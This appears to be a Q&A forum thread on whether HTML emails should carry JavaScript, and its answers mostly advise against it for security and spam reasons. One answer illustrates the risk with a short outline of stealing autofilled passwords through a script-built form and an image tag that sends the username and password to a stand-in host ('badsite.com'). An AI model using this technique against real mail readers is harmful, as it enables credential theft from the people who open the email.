Is it possible / recommendable sending HTML emails containing Javascript? [closed]

Answer 1

The problem of JavaScript is that it poses a security threat. If there is any email client that accepts it, then it's most likely a security vulnerability and should be fixed.

So, really, "don't even bother", because even if it works, it'll soon stop working.

EDIT: Some people don't seem to understand why it is a security risk, so I'll explain.

Consider the following code(one of the multiple ways to steal passwords using Javascript and unsafe email clients).

Using JavaScript:

1. Create a form with "username" and "password" input fields.
2. Let the browser automatically remember the content of these fields(several users store username and password in the browser's memory to avoid having to type and remember it every time.
3. Once both fields are (automatically) filled, send their content to your website using something like <img src="badsite.com/senddata?username=user&password=pass">.
4. Congratulations! You've stolen a password!

Usually, just creating a form using JavaScript in your own unsafe website isn't harmful by itself because the browser is smart enough to tell gmail data only to gmail(and you usually don't try to steal passwords from your own website, and in that case there'd be easier ways to steal them anyway).

However, if you allowed JavaScript in emails, then the browser wouldn't be capable of separating legitimate JavaScript from insecure code.

Cookie theft is also possible if an email client can't filter JavaScript.

Answer 2

With spam being such a big deal I would stick to sending out basic emails that are easily consumable. You can always link to a webpage which has your javascript in it. You can also send a querystring parameter in the URL to track the users who are most interested in your emails because this will tell you they are click into them. So while it may be possible, its probably best to avoid it.

Answer 3

You have listed the right arguments against javascript usage in emails. These show you that it is a bad idea. Linking to a page where you can use javascript freely is a good option and lets the user decide if and when he wants to access this "enhanced" content.

Answer 4

yeah it is possible but not recommended. for security purpose most of all Mail management software blocked js or give alert if he include js. if user strict for spam then these mail also goes to spam.

Answer 5

It IS a vulnerability in browsers if the email links to a client that has your username and password cached ... Emails usually open up in browsers ...